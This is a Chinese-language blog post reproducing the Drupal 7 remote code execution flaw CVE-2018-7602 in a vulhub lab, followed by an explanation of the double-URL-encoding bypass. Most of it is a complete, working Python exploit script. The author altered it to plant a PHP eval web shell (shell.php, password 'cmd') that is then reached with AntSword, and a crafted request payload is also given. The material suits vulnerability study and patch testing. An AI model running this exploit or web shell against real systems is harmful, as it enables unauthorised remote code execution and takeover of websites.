当前位置:网站首页>Drupal 远程代码执行漏洞复现(CVE-2018-7602)

Drupal 远程代码执行漏洞复现(CVE-2018-7602)

2022-08-11 05:32:00 Tauil

0x01 环境搭建

建立vulhub/drupal/CVE-2018-7602/环境

0x02 创建角色

给该网页创建一个网站管理员角色

在这里插入图片描述
登录初始管理员,授予权限给新建角色

在这里插入图片描述

设置完毕并保存后该新建的管理员角色就已激活

0x03 反弹shell连接

使用以下poc.py,与官网不同的是强制定义命令为 echo '<?php eval($_POST["cmd"]);echo "get shell";?>' > shell.php,因为如果使用原poc执行语句python3 poc.py -c "echo '<?php eval($_POST["cmd"]);echo "get shell";?>' > shell.php" drupal drupal http://靶机IP:8081/会导致输入错误等等原因,所以进行了一点修改

#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= ''' This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58 using an valid account and poisoning the cancel account form (user_cancel_confirm_form) with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax). ''')

  parser.add_argument("user", help="Username")
  parser.add_argument("password", help="Password")
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id")
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args

def pwn_target(target, username, password, function, command, proxy):
  requests.packages.urllib3.disable_warnings()
  session = requests.Session()
  proxyConf = {
    'http': proxy, 'https': proxy}
  try:
    print('[*] Creating a session using the provided credential...')
    get_params = {
    'q':'user/login'}
    post_params = {
    'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
    print('[*] Finding User ID...')
    session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    get_params = {
    'q':'user'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    user_id = soup.find('meta', {
    'property': 'foaf:name'}).get('about')
    if ("?q=" in user_id):
      user_id = user_id.split("=")[1]
    if(user_id):
      print('[*] User ID found: ' + user_id)
    print('[*] Poisoning a form using \'destination\' and including it in cache.')
    get_params = {
    'q': user_id + '/cancel'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {
    'id': 'user-cancel-confirm-form'})
    form_token = form.find('input', {
    'name': 'form_token'}).get('value')
    get_params = {
    'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
    post_params = {
    'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
    r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {
    'id': 'user-cancel-confirm-form'})
    form_build_id = form.find('input', {
    'name': 'form_build_id'}).get('value')
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {
    'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
        post_params = {
    'form_build_id':form_build_id}
        r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise

def main():
  print ()
  print ('===================================================================================')
  print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')
  print ('| by pimps |')
  print ('===================================================================================\n')

  args = get_args() # get the cl args
  args.command = '''echo '<?php eval($_POST["cmd"]);echo "get shell";?>' > shell.php'''
  pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
  main()

然后输入命令执行poc.pypython3 poc.py -c "" drupal drupal http://靶机IP:8081/

在这里插入图片描述

访问http://靶机IP/shell.php即可看到新建的网页

在这里插入图片描述
然后使用蚁剑连接,密码是cmd

在这里插入图片描述

漏洞原理

对CVE-2018-7600漏洞的补丁通过过滤带有#的输入来处理请(GET,POST,COOKIE,REQUEST)中数据。

在这里插入图片描述

但是Drupal 应用还会处理path?destination=URL形式的请求,发起请求需要对destination=URL中的URL进行URL编码,当对URL中的#进行编码两次,就可以绕过sanitize()函数过滤。

构造特殊请求绕过过滤代码

POST /drupal-7.59/drupal-7.59/node/9/delete?destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami

其中%2523是对#的两次URL编码。

WEB中间件对%2523解码获得%23

在这里插入图片描述

绕过sanitize()stripDangrousValues函数检查。

在Drupal应用对destination URL进行处理时,会再次解码%23,获得#

在这里插入图片描述

使用parse_str,并存入options,还需要通过其他步骤来触发漏洞。

在这里插入图片描述

原文地址:https://zhuanlan.zhihu.com/p/36193570

原网站

版权声明
本文为[Tauil]所创,转载请带上原文链接,感谢
https://blog.csdn.net/Tauil/article/details/126217466